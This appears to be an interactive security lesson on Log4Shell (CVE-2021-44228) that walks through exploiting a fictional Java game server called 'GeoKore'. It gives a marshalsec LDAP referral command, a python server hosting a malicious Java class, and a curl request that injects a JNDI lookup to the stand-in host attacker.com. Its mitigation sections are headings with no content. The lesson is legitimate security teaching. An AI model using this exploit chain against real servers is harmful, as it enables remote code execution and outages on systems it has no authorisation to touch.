Log4j vulnerability: the basics

What is Log4Shell?

CVE-2021-44228, aka log4Shell, is an unauthenticated Remote Code Execution (RCE) vulnerability that affects almost all versions of Apache log4j version 2. On the 9th of December 2021, news of the zero-day spread across infosec communities along with a publicly available proof-of-concept (POC). It didn’t take long to see the exploit being used in the wild by malicious actors, with evidence even suggesting exploitation of the bug starting before Apache’s disclosure.

The impact of Log4Shell was not fully realized at first, at first glance it appeared to be a bug affecting Minecraft. Shortly after, security researchers caught on that the vulnerable component was the very widely used log4j. With Oracle reporting over 13 billion devices using java, the realization started to set in that this bug could have a much bigger impact than initially thought.

About this lesson

In this lesson, you will learn how to exploit log4shell, what it looks like under the hood, and how to secure your application. We’ll begin by exploiting this bug in a vulnerable Java-based game called “GeoKore”. After that, we’ll learn more about what the log4shell bug looks like under the hood. Finally, we’ll fix up the GeoKore application to prevent any further exploitation of the log4shell bug.

Ready to learn? Buckle your seat belts, put on your hacker's hat, and let's get started!


Minecraft "Creepers"

The explosive enemy in Minecraft “Creepers” initially made its debut due to a coding error! The creator of the game, Swedish programmer and designer Markus Persson intended to create a pig but accidentally switched the height and length which resulted in the petulant creeper.

Log4Shell in action

Hacking a game app!

GeoKore is a sweet pixel-art survival game created by a small group of developers as a passion project. It’s a java-based game developed in the mid-2000s. It became a massive success after the development team decided to expand the game to be multiplayer, giving players the ability to socialize, trade, battle, and join other players’ servers.

GeoKore uses Apache’s log4j as its logging framework. Let’s see if we can exploit Log4Shell to execute code on one of the factions servers.

Setting up the LDAP server

First, we need to spin up a server that will return the following link: http://attacker.com/#exploit

Attacker.com is the domain where we will set up our HTTP and LDAP server. We need the HTTP server to host our malicious Java class, called “exploit” and the LDAP server to redirect the victim GeoKore server to our payload.

We have a choice of spinning up a server using LDAP, DNS, CORBA, or RMI protocols, as they all interface with JNDI (Java Naming and Directory Interface), which is the vulnerable component of Log4J. Note that JNDI does not support the HTTP protocol, which is why we need both an LDAP and HTTP server. We’ll learn more about this later in the ‘under the hood’ section.

For this example, we’ll spin up a precooked LDAP server from Github - mbechler/marshalsec:

To do so, copy and paste the following into the terminal below and hit enter:

mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'

Demo terminal

Setting up the HTTP server

Our HTTP Server is going to contain the malicious java class. For this example, we’re just going to spin up a simple python HTTP server. Attackers “in the wild” would likely store their malicious java class on a more complicated command and control (C2) server where they’d also set up a mechanism to get an interactive shell on the victim machine.

Have a look at the code by running: cat Exploit.java in terminal. This code will temporarily shut down the server until the server owner manually turns their device back on.

In the directory containing our payload, run now the following command: python3 -m http.server 8080. This will ensure our malicious java class is available for download at: http://attacker.com/#exploit

Demo terminal

Triggering the exploit

In the “GeoKore” Game client we are able to select “Multiplayer” mode. Selecting that game mode brings you to a screen with 4 “faction” servers to choose from: Fusehunt, Geopoint, Clusterblast, Masterdroid. Selecting any of them will open a chat screen with a “display name” input box. We see that the client sends entered user name to http://geokore.com/game/start.

Now you think, what if we inject ${jndi:ldap://attacker.com/a} into the users name and send the request via CURL? This string will make its way to the server through a cookie called “user”. This will trigger a JNDI remote lookup, the response from ldap://attacker.com will then contain a link to the HTTP server containing our payload.

Congratulations! Our malicious java class contained a command to stop running the GeoKore faction’s server. If we send a basic CURL, we can see that this server is not responding anymore!

curl -X POST --data "displayName=${jndi:ldap://attacker.com/a}" http://geokore.com/game/start && curl -I http://geokore.com

Demo terminal

Log4Shell under the hood

Scan your code & stay secure with Snyk - for FREE!

Did you know you can use Snyk for free to verify that your code
doesn't include this or other vulnerabilities?

Scan your code

Log4shell mitigation


Keep learning

To learn more about Log4j vulnerability aka Log4Shell, check out some other great content:

  • Have a look at our Log4j vulnerability explained session that goes over some other examples of Log4Shell
  • We all love cheatsheets, to check this one here, where you can read about Log4j vulnerability and how to prevent it
  • Learn more on the impact of Log4Shell on the overall security domain from Simon Maple (CTO) and Guy Podjarny (Founder) on YouTube
  • Last but not the least, if you loved the lesson, don't forget to check out our hands-on deep dive prepared by Micah Silverman (Director, DevSecOps Acceleration) on YouTube


You have taken your first step into learning what Log4j vulnerability aka Log4Shell is, how it works, what the impacts are, and how to protect your own applications. We hope that you will apply this knowledge to make your applications safer. We'd really appreciate it if you could take a minute to rate how valuable this lesson was for you and provide feedback to help us improve! Also, make sure to check out our lessons on other common vulnerabilities.